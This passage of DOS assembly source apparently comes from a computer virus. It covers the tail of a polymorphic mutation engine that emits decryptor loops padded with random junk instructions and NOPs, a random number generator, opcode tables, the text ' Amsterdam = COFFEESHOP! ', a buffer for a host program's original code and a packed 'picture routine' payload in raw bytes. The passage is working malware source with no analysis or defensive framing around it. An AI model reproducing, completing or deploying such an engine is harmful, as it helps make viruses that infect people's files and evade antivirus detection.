  1072. ;****************************************************************************
  1073. ;*              generate loop command
  1074. ;****************************************************************************
  1075.  
  1076. do_loop:        test    bh,1                    ;no JNE if couting down
  1077.                 jnz     loop_loop               ;  (prefetch bug!)
  1078.                 call    rnd_get
  1079.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  1080.                 jnz     cx_loop
  1081.  
  1082. loop_loop:      mov     al,0E0
  1083.                 test    bh,1A                   ;LOOPNZ or LOOP?
  1084.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  1085.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  1086. ll0:            stosb
  1087.                 mov     ax,dx
  1088.                 sub     ax,di
  1089.                 dec     ax
  1090.                 stosb
  1091.                 ret
  1092.  
  1093. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  1094.                 jnz     cxl_dec
  1095.                 mov     ax,0E983
  1096.                 stosw
  1097.                 mov     al,1
  1098.                 stosb
  1099.                 jmp     short do_jne                
  1100.  
  1101. cxl_dec:        mov     al,49
  1102.                 stosb
  1103. do_jne:         mov     al,75
  1104.                 jmp     short ll0
  1105.  
  1106.  
  1107. ;****************************************************************************
  1108. ;*              add value to AL depending on register type
  1109. ;****************************************************************************
  1110.  
  1111. add_dir:        mov     si,offset dir_change
  1112.                 jmp     short xx1
  1113.  
  1114. add_ind:        mov     si,offset ind_change
  1115. xx1:            push    bx
  1116.                 shr     bl,1
  1117.                 shr     bl,1
  1118.                 and     bx,3
  1119.                 add     al,byte ptr ds:[bx+si]
  1120.                 pop     bx
  1121.                 ret
  1122.  
  1123.  
  1124. ;****************************************************************************
  1125. ;*              mov encryption command byte to AL
  1126. ;****************************************************************************
  1127.  
  1128. get_xor:        push    bx
  1129.                 mov     ax,offset how_mode
  1130.                 xchg    ax,bx
  1131.                 and     ax,3
  1132.                 xlat
  1133.                 pop     bx
  1134.                 ret
  1135.  
  1136.  
  1137. ;****************************************************************************
  1138. ;*              change ADD into ADC
  1139. ;****************************************************************************
  1140.  
  1141. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  1142.                 jz      no_ac
  1143.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  1144.                 jz      no_ac
  1145.                 and     al,0CF
  1146.                 or      al,10
  1147. no_ac:          ret
  1148.  
  1149.  
  1150. ;****************************************************************************
  1151. ;*              change AL (byte/word)
  1152. ;****************************************************************************
  1153.  
  1154. add_1:          test    bl,10
  1155.                 jz      add_1_ret
  1156.                 inc     al
  1157. add_1_ret:      ret
  1158.  
  1159.  
  1160. ;****************************************************************************
  1161. ;*              change AL (byte/word)
  1162. ;****************************************************************************
  1163.  
  1164. maybe_2:        call    add_1
  1165.                 cmp     al,81                   ;can't touch this
  1166.                 je      maybe_not
  1167.                 push    ax
  1168.                 call    rnd_get
  1169.                 test    al,1
  1170.                 pop     ax
  1171.                 jz      maybe_not
  1172.                 add     al,2
  1173. maybe_not:      ret
  1174.  
  1175.  
  1176. ;****************************************************************************
  1177. ;*              get random nop (or not)
  1178. ;****************************************************************************
  1179.  
  1180. do_nop:         test    byte ptr ds:[flags],2
  1181.                 jz      no_nop
  1182. yes_nop:        call    rnd_get
  1183.                 test    al,3
  1184.                 jz      nop8
  1185.                 test    al,2
  1186.                 jz      nop16
  1187.                 test    al,1
  1188.                 jz      nop16x
  1189. no_nop:         ret
  1190.  
  1191.  
  1192. ;****************************************************************************
  1193. ;*              Insert random instructions
  1194. ;****************************************************************************
  1195.  
  1196. do_junk:        test    byte ptr ds:[flags],4
  1197.                 jz      no_junk
  1198.                 call    rnd_get                 ;put a random number of
  1199.                 and     ax,0F                   ;  dummy instructions before
  1200.                 inc     ax                      ;  decryptor
  1201.                 xchg    ax,cx
  1202. junk_loop:      call    junk
  1203.                 loop    junk_loop
  1204. no_junk:        ret
  1205.  
  1206.  
  1207. ;****************************************************************************
  1208. ;*              get rough random nop (may affect register values)
  1209. ;****************************************************************************
  1210.  
  1211. junk:           call    rnd_get
  1212.                 and     ax,1E
  1213.                 jmp     short aa0
  1214. nop16x:         call    rnd_get
  1215.                 and     ax,06
  1216. aa0:            xchg    ax,si
  1217.                 call    rnd_get
  1218.                 jmp     word ptr ds:[si+junkcals]
  1219.  
  1220.  
  1221. ;****************************************************************************
  1222. ;*              NOP and junk addresses
  1223. ;****************************************************************************
  1224.  
  1225. junkcals        dw      offset nop16x0
  1226.                 dw      offset nop16x1
  1227.                 dw      offset nop16x2
  1228.                 dw      offset nop16x3
  1229.                 dw      offset nop8
  1230.                 dw      offset nop16
  1231.                 dw      offset junk6
  1232.                 dw      offset junk7
  1233.                 dw      offset junk8
  1234.                 dw      offset junk9
  1235.                 dw      offset junkA
  1236.                 dw      offset junkB
  1237.                 dw      offset junkC
  1238.                 dw      offset junkD
  1239.                 dw      offset junkE
  1240.                 dw      offset junkF
  1241.  
  1242.  
  1243. ;****************************************************************************
  1244. ;*              NOP and junk routines
  1245. ;****************************************************************************
  1246.  
  1247. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  1248.                 or      al,70
  1249.                 stosw
  1250.                 ret
  1251.  
  1252.  
  1253. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  1254.                 and     ah,07
  1255.                 inc     ah
  1256.                 stosw
  1257.                 xchg    al,ah                   ;get lenght of bullshit
  1258.                 cbw
  1259.                 jmp     fill_bullshit
  1260.  
  1261.  
  1262. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  1263.                 stosb
  1264.                 ret
  1265.  
  1266.  
  1267. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  1268.                 xor     al,8
  1269.                 stosb
  1270.                 ret
  1271.  
  1272.  
  1273. nop8:           push    bx                      ;8-bit NOP
  1274.                 and     al,7
  1275.                 mov     bx,offset nop_data8
  1276.                 xlat
  1277.                 stosb
  1278.                 pop     bx
  1279.                 ret
  1280.  
  1281.  
  1282. nop16:          push    bx                      ;16-bit NOP
  1283.                 and     ax,0303
  1284.                 mov     bx,offset nop_data16
  1285.                 xlat
  1286.                 add     al,ah
  1287.                 stosb
  1288.                 call    rnd_get
  1289.                 and     al,7
  1290.                 mov     bl,9
  1291.                 mul     bl
  1292.                 add     al,0C0
  1293.                 stosb
  1294.                 pop     bx
  1295.                 ret
  1296.  
  1297.  
  1298. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  1299.                 mov     al,0E8
  1300.                 and     ah,0F
  1301.                 inc     ah
  1302.                 stosw
  1303.                 xor     al,al
  1304.                 stosb
  1305.                 xchg    al,ah
  1306.                 call    fill_bullshit
  1307.                 call    do_nop
  1308.                 call    rnd_get                 ;insert POP reg
  1309.                 and     al,7
  1310.                 call    no_sp
  1311.                 mov     cx,ax
  1312.                 or      al,58
  1313.                 stosb
  1314.  
  1315.                 test    ch,3                    ;more?
  1316.                 jnz     junk6_ret
  1317.  
  1318.                 call    do_nop
  1319.                 mov     ax,0F087                ;insert XCHG SI,reg
  1320.                 or      ah,cl
  1321.                 test    ch,8
  1322.                 jz      j6_1
  1323.                 mov     al,8Bh
  1324. j6_1:           stosw
  1325.  
  1326.                 call    do_nop
  1327.                 push    bx
  1328.                 call    rnd_get
  1329.                 xchg    ax,bx
  1330.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  1331.                 or      bl,8
  1332.                 call    do_xor
  1333.                 pop     bx
  1334. junk6_ret:      pop     cx
  1335.                 ret
  1336.  
  1337.  
  1338. junk7:          and     al,0F                   ;MOV reg,xxxx
  1339.                 or      al,0B0
  1340.                 call    no_sp
  1341.                 stosb
  1342.                 test    al,8
  1343.                 pushf
  1344.                 call    rnd_get
  1345.                 popf
  1346.                 jmp     short byte_word
  1347.  
  1348.  
  1349. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  1350.                 or      al,0C0
  1351.                 call    no_sp
  1352.                 xchg    al,ah
  1353.                 stosw
  1354.                 ret
  1355.  
  1356.  
  1357. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  1358.                 or      al,2
  1359.                 and     ah,3F
  1360.                 call    no_sp2
  1361.                 call    no_bp
  1362.                 stosw
  1363.                 ret
  1364.  
  1365.  
  1366. junkA:          and     ah,1                    ;DO rm,xxxx
  1367.                 or      ax,80C0
  1368.                 call    no_sp
  1369.                 xchg    al,ah       
  1370.                 stosw
  1371.                 test    al,1
  1372.                 pushf
  1373.                 call    rnd_get
  1374.                 popf
  1375.                 jmp     short byte_word
  1376.  
  1377.  
  1378. junkB:          call    nop8                    ;NOP / LOOP
  1379.                 mov     ax,0FDE2
  1380.                 stosw
  1381.                 ret
  1382.  
  1383.  
  1384. junkC:          and     al,09                   ;CMPS* or SCAS*
  1385.                 test    ah,1
  1386.                 jz      mov_test
  1387.                 or      al,0A6
  1388.                 stosb
  1389.                 ret
  1390. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  1391.                 stosb
  1392.                 cmp     al,0A8
  1393.                 pushf
  1394.                 call    rnd_get
  1395.                 popf
  1396.                 jmp     short byte_word
  1397.  
  1398.  
  1399. junkD:          and     al,07                   ;XCHG AX,reg
  1400.                 or      al,90
  1401.                 call    no_sp
  1402.                 stosb
  1403.                 ret
  1404.  
  1405.  
  1406. junkE:          and     ah,07                   ;PUSH reg / POP reg
  1407.                 or      ah,50
  1408.                 mov     al,ah
  1409.                 or      ah,08
  1410.                 stosw
  1411.                 ret
  1412.  
  1413.  
  1414. junkF:          and     al,0F                   ;INC / DEC
  1415.                 or      al,40
  1416.                 call    no_sp
  1417.                 stosb
  1418.                 ret
  1419.  
  1420.  
  1421. ;****************************************************************************
  1422. ;*              store a byte or a word
  1423. ;****************************************************************************
  1424.  
  1425. byte_word:      jz      only_byte
  1426.                 stosw
  1427.                 ret
  1428.  
  1429. only_byte:      stosb
  1430.                 ret
  1431.  
  1432.  
  1433. ;****************************************************************************
  1434. ;*              don't fuck with SP!
  1435. ;****************************************************************************
  1436.  
  1437. no_sp:          push    ax
  1438.                 and     al,7
  1439.                 cmp     al,4
  1440.                 pop     ax
  1441.                 jnz     no_sp_ret
  1442.                 and     al,0FBh
  1443. no_sp_ret:      ret
  1444.  
  1445.  
  1446. ;****************************************************************************
  1447. ;*              don't fuck with SP!
  1448. ;****************************************************************************
  1449.  
  1450. no_sp2:         push    ax
  1451.                 and     ah,38
  1452.                 cmp     ah,20
  1453.                 pop     ax
  1454.                 jnz     no_sp2_ret
  1455.                 xor     ah,20
  1456. no_sp2_ret:     ret
  1457.  
  1458.  
  1459. ;****************************************************************************
  1460. ;*              don't use [BP+..]
  1461. ;****************************************************************************
  1462.  
  1463. no_bp:          test    ah,4
  1464.                 jnz     no_bp2
  1465.                 and     ah,0FDh
  1466.                 ret
  1467.  
  1468. no_bp2:         push    ax
  1469.                 and     ah,7
  1470.                 cmp     ah,6
  1471.                 pop     ax
  1472.                 jnz     no_bp_ret
  1473.                 or      ah,1
  1474. no_bp_ret:      ret
  1475.  
  1476.  
  1477. ;****************************************************************************
  1478. ;*              write byte for JMP/CALL and fill with random bullshit
  1479. ;****************************************************************************
  1480.  
  1481. fill_bullshit:  push    cx
  1482.                 xchg    ax,cx
  1483. bull_lup:       call    rnd_get
  1484.                 stosb
  1485.                 loop    bull_lup
  1486.                 pop     cx
  1487.                 ret
  1488.  
  1489.  
  1490. ;****************************************************************************
  1491. ;*              random number generator  (stolen from 'Bomber')
  1492. ;****************************************************************************
  1493.  
  1494. rnd_init:       push    cx
  1495.                 call    rnd_init0               ;init
  1496.                 and     ax,000F
  1497.                 inc     ax
  1498.                 xchg    ax,cx
  1499. random_lup:     call    rnd_get                 ;call random routine a few
  1500.                 loop    random_lup              ;  times to 'warm up'
  1501.                 pop     cx
  1502.                 ret
  1503.  
  1504. rnd_init0:      push    dx                      ;initialize generator
  1505.                 push    cx
  1506.                 mov     ah,2C
  1507.                 int     21
  1508.                 in      al,40
  1509.                 mov     ah,al
  1510.                 in      al,40
  1511.                 xor     ax,cx
  1512.                 xor     dx,ax
  1513.                 jmp     short move_rnd
  1514.  
  1515. rnd_get:        push    dx                      ;calculate a random number
  1516.                 push    cx
  1517.                 push    bx
  1518.                 mov     ax,0                    ;will be: mov ax,xxxx
  1519.                 mov     dx,0                    ;  and mov dx,xxxx
  1520.                 mov     cx,7
  1521. rnd_lup:        shl     ax,1
  1522.                 rcl     dx,1
  1523.                 mov     bl,al
  1524.                 xor     bl,dh
  1525.                 jns     rnd_l2
  1526.                 inc     al
  1527. rnd_l2:         loop    rnd_lup
  1528.                 pop     bx
  1529.  
  1530. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  1531.                 mov     word ptr ds:[rnd_get+7],dx
  1532.                 mov     al,dl
  1533.                 pop     cx
  1534.                 pop     dx
  1535.                 ret
  1536.  
  1537.  
  1538. ;****************************************************************************
  1539. ;*              tables for engine
  1540. ;****************************************************************************
  1541.  
  1542.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  1543. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  1544.  
  1545.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  1546. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  1547.  
  1548.                 ;      or and xchg mov
  1549. nop_data16      db      8, 20, 84, 88
  1550.  
  1551.                 ;     bl/bh, bx, si  di
  1552. dir_change      db      07, 07, 04, 05
  1553. ind_change      db      03, 03, 06, 07
  1554.  
  1555.  
  1556.                 ;       xor xor add sub
  1557. how_mode        db      30, 30, 00, 28
  1558.  
  1559.                 ;       ?  add  xor  or
  1560. add_mode        db      0, 0C8, 0F0, 0C0
  1561.  
  1562.  
  1563. ;****************************************************************************
  1564. ;*              text + buffer
  1565. ;****************************************************************************
  1566.  
  1567.                 db      ' Amsterdam = COFFEESHOP! '
  1568.  
  1569. buffer          db      0CDh, 20                ;original code of dummy program
  1570.                 db      (BUFLEN-2) dup (?)
  1571.  
  1572.  
  1573. ;****************************************************************************
  1574. ;*              the (packed) picture routine
  1575. ;****************************************************************************
  1576.                                                 
  1577. beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
  1578.                 db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
  1579.                 db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  1580.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  1581.                 db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
  1582.                 db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
  1583.                 db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
  1584.                 db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
  1585.                 db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
  1586.                 db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
  1587.                 db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
  1588.                 db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
  1589.                 db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
  1590.                 db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
  1591.                 db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
  1592.                 db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
  1593.                 db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
  1594.                 db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
  1595.                 db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
  1596.                 db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
  1597.                 db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
  1598.                 db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
  1599.                 db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
  1600.                 db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
  1601.                 db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
  1602.                 db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
  1603.                 db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
  1604.                 db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
  1605.                 db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
  1606.                 db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
  1607.                 db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
  1608.                 db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
  1609.                 db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
  1610.                 db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
  1611.                 db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
  1612.                 db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
  1613.                 db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
  1614.                 db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
  1615.                 db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
  1616.                 db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
  1617.                 db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
  1618.                 db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
  1619.                 db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
  1620.                 db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
  1621.                 db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
  1622.                 db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
  1623.                 db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
  1624.                 db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
  1625.                 db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
  1626.                 db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
  1627.                 db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
  1628.                 db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
  1629.                 db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
  1630.                 db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
  1631.                 db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
  1632.                 db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
  1633.                 db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
  1634.                 db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
  1635.                 db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
  1636.                 db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
  1637.                 db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
  1638.                 db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
  1639.                 db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
  1640.                 db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
  1641.                 db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
  1642.                 db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
  1643.                 db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
  1644.                 db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
  1645.                 db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
  1646.                 db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
  1647.                 db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
  1648.                 db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  1649.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  1650.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  1651.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  1652.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  1653.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  1654.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  1655.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  1656.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  1657.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  1658.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  1659.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  1660.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  1661.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  1662.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  1663.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  1664.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  1665.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  1666.                 db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
  1667.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  1668.                 db      0E9h, 07Dh, 0EBh
  1669.                 
  1670. last:
  1671.  
  1672. _TEXT           ends
  1673.                 end    first
  1674.